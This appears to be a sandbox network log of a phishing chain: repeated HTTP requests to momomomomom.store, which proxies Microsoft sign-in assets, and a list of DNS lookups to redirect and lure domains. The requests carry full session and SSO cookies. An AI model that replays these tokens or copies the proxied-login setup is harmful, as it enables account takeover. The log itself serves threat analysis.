Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: url.us.m.mimecastprotect.com
Source: global traffic	DNS traffic detected: DNS query: url2.mailanyone.net
Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: public-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: greefrunners.co.za
Source: global traffic	DNS traffic detected: DNS query: hdbfhja.store
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: momomomomom.store
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com

